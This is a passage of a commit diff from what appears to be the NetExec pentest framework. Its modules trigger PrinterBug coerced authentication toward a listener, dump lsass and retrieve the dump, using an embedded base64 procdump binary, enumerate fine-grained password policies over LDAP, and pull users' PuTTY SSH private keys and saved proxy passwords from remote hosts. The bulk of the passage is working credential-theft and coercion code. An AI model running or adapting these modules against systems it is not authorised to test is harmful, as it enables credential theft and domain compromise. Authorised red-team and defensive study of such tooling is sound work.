target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to PrinterBug")
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
context.log.highlight("VULNERABLE")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
################################################################################
# RPC CALLS
################################################################################
class TriggerAuth:
def __init__(self, context):
self.context = context
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
rpctransport.set_dport(445)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
try:
dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
self.context.log.debug("Successfully bound!")
return dce
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
try:
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
except Exception as e:
if str(e).find("Broken pipe") >= 0:
# The connection timed-out. Let's try to bring it back next round
self.context.log.error("Connection failed - skipping host!")
return
elif str(e).upper().find("ACCESS_DENIED"):
# We're not admin, bye
self.context.log.error("Access denied - RPC call was denied")
dce.disconnect()
return
else:
raise
self.context.log.debug("Got handle")
try:
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request["hPrinter"] = resp["pHandle"]
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
request["pszLocalMachine"] = "\\\\%s\x00" % listener
except Exception as e:
self.context.log.debug(e)
try:
dce.request(request)
except Exception as e:
self.context.log.debug(e)
+3 -2
View File
@@ -1,6 +1,6 @@
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -55,12 +55,13 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
+6 -4
View File
@@ -7,6 +7,8 @@ import re
import sys
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import TMP_PATH
from os.path import abspath, join
class NXCModule:
@@ -30,7 +32,7 @@ class NXCModule:
"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 truncated
)
self.procdump = "procdump.exe"
self.procdump_path = "/tmp/"
self.procdump_path = abspath(TMP_PATH)
self.dir_result = self.procdump_path
self.useembeded = True
@@ -89,10 +91,10 @@ class NXCModule:
context.log.display(f"Copy {machine_name} to host")
with open(self.dir_result + machine_name, "wb+") as dump_file:
with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
except Exception as e:
context.log.fail(f"Error while get file: {e}")
@@ -108,7 +110,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
with open(self.dir_result + machine_name, "rb") as dump:
with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
try:
credz_bh = []
try:
+90 -71
View File
@@ -1,92 +1,111 @@
from dateutil.relativedelta import relativedelta as rd
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from math import fabs
class NXCModule:
"""
Created by fplazar and wanetty
Module by @gm_eduard and @ferranplaza
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
"""
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
Module by @_sandw1ch
"""
name = "pso"
description = "Query to get PSO from LDAP"
description = "Module to get the Fine Grained Password Policy/PSOs"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
multiple_hosts = False
pso_fields = [
"cn",
"msDS-PasswordReversibleEncryptionEnabled",
"msDS-PasswordSettingsPrecedence",
"msDS-MinimumPasswordLength",
"msDS-PasswordHistoryLength",
"msDS-PasswordComplexityEnabled",
"msDS-LockoutObservationWindow",
"msDS-LockoutDuration",
"msDS-LockoutThreshold",
"msDS-MinimumPasswordAge",
"msDS-MaximumPasswordAge",
"msDS-PSOAppliesTo",
]
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""No options available."""
def convert_time_field(self, field, value):
time_fields = {"msDS-LockoutObservationWindow": (60, "mins"), "msDS-MinimumPasswordAge": (86400, "days"), "msDS-MaximumPasswordAge": (86400, "days"), "msDS-LockoutDuration": (60, "mins")}
if field in time_fields:
value = f"{int(fabs(float(value)) / (10000000 * time_fields[field][0]))} {time_fields[field][1]}"
return value
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
# Building the search filter
search_filter = "(objectClass=msDS-PasswordSettings)"
# Are there even any FGPPs?
context.log.success("Attempting to enumerate policies...")
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
if len(resp) > 1:
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
context.log.highlight("")
context.log.success("Attempting to enumerate objects with an applied policy...")
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=self.pso_fields, sizeLimit=0)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
else:
context.log.debug(e)
return False
pso_list = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
# Who do they apply to?
resp = connection.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
for attrs in resp:
if isinstance(attrs, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for attr in attrs["attributes"]:
if str(attr["type"]) in "msDS-PSOApplied":
context.log.highlight(f"Object: {attrs['objectName']}")
context.log.highlight("Applied Policy: ")
for value in attr["vals"]:
context.log.highlight(f"\t{value}")
context.log.highlight("")
pso_info = {}
# Let"s find out even more details!
context.log.success("Attempting to enumerate details...\n")
resp = connection.search(searchFilter="(objectclass=msDS-PasswordSettings)",
attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
"msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
"msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
"msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
for attrs in resp:
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
continue
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
for attr in attrs["attributes"]:
if str(attr["type"]) == "name":
policyName = attr["vals"][0]
elif str(attr["type"]) == "msDS-LockoutThreshold":
lockoutThreshold = attr["vals"][0]
elif str(attr["type"]) == "msDS-MinimumPasswordLength":
passwordLength = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordHistoryLength":
passwordhistorylength = attr["vals"][0]
elif str(attr["type"]) == "msDS-LockoutObservationWindow":
observationWindow = attr["vals"][0]
elif str(attr["type"]) == "msDS-LockoutDuration":
lockoutDuration = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordSettingsPrecedence":
precedence = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordComplexityEnabled":
complexity = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordReversibleEncryptionEnabled":
reverseibleEncryption = attr["vals"][0]
elif str(attr["type"]) == "msDS-MinimumPasswordAge":
minPassAge = attr["vals"][0]
elif str(attr["type"]) == "msDS-MaximumPasswordAge":
maxPassAge = attr["vals"][0]
elif str(attr["type"]) == "description":
description = attr["vals"][0]
elif str(attr["type"]) == "msDS-PSOAppliesTo":
policyApplies = ""
for value in attr["vals"]:
policyApplies += f"{value};"
context.log.highlight(f"Policy Name: {policyName}")
if description:
context.log.highlight(f"Description: {description}")
context.log.highlight(f"Minimum Password Length: {passwordLength}")
context.log.highlight(f"Minimum Password History Length: {passwordhistorylength}")
context.log.highlight(f"Lockout Threshold: {lockoutThreshold}")
context.log.highlight(f"Observation Window: {mins(observationWindow)}")
context.log.highlight(f"Lockout Duration: {mins(lockoutDuration)}")
context.log.highlight(f"Complexity Enabled: {complexity}")
context.log.highlight(f"Minimum Password Age: {days(minPassAge)}")
context.log.highlight(f"Maximum Password Age: {days(maxPassAge)}")
context.log.highlight(f"Reversible Encryption: {reverseibleEncryption}")
context.log.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
context.log.highlight("Policy Applies to:")
for value in str(policyApplies)[:-1].split(";"):
if value:
context.log.highlight(f"\t{value}")
context.log.highlight("")
try:
for attribute in item["attributes"]:
attr_name = str(attribute["type"])
if attr_name in self.pso_fields:
pso_info[attr_name] = attribute["vals"][0]._value.decode("utf-8")
pso_list.append(pso_info)
def days(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e}")
if len(pso_list) > 0:
context.log.success("Password Settings Objects (PSO) found:")
for pso in pso_list:
for field in self.pso_fields:
if field in pso:
value = self.convert_time_field(field, pso[field])
context.log.highlight(f"{field}: {value}")
context.log.highlight("-----")
else:
context.log.info("No Password Settings Objects (PSO) found.")
def mins(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
+221
View File
@@ -0,0 +1,221 @@
from datetime import datetime
from io import BytesIO
import traceback
from urllib.parse import unquote
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from nxc.helpers.logger import highlight
from nxc.paths import NXC_PATH
import re
class NXCModule:
"""Module by @NeffIsBack"""
name = "putty"
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.rrp = None
def options(self, context, module_options):
"""No options available"""
def get_logged_on_users(self):
"""Enumerate all logged in and loaded Users on System"""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Filter legit users in regex
user_objects.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
return [i for i in user_objects if not regex.match(i)]
def get_all_users(self):
"""Get all users that have logged in at some point in time"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
return user_objects
def sid_to_name(self, all_users):
"""Convert SID to Usernames for better readability"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
user_dict = {}
for user_object in all_users:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
user_dict[user_object] = user_profile_path.split("\\")[-1]
return user_dict
def load_missing_users(self, unloaded_user_objects):
"""Load missing users into registry to access their registry keys."""
for user_object in unloaded_user_objects:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def unload_missing_users(self, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
for user_object in unloaded_user_objects:
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
try:
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
except Exception as e:
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
self.context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def get_private_key_paths(self, all_users):
"""Get all private key paths for all users"""
sessions = []
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
for user in all_users:
try:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Extract stored Session infos
for session_name in session_names:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
# Get private Key Path
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
# Session infos
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
sessions.append({
"user": self.user_dict[user],
"session_name": unquote(session_name),
"hostname": hostname,
"port": port,
"protocol": protocol,
"private_key_path": private_key_path,
"proxy_host": proxy_host,
"proxy_port": proxy_port,
"proxy_username": proxy_username,
"proxy_password": proxy_password
})
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
except Exception as e:
self.context.log.fail(f"Unexpected error: {e}")
self.context.log.debug(traceback.format_exc())
return sessions
def extract_session(self, sessions):
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
for session in sessions:
if session["private_key_path"]:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
buf = BytesIO()
with open(download_path, "wb") as file:
try:
self.connection.conn.getFile(share, file_path, buf.write)
except Exception as e:
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
else:
self.context.log.exception(f"Error downloading private key: {e}")
continue
file.write(buf.getvalue())
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
if session["proxy_password"]:
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
with open(proxycreds_file, "a") as f:
f.write("================\n")
f.write(f"User: {session['user']}\n")
f.write(f"Sessionname: {session['session_name']}\n")
f.write(f"Host: {session['hostname']}:{session['port']}\n")
f.write(f"Protocol: {session['protocol']}\n")
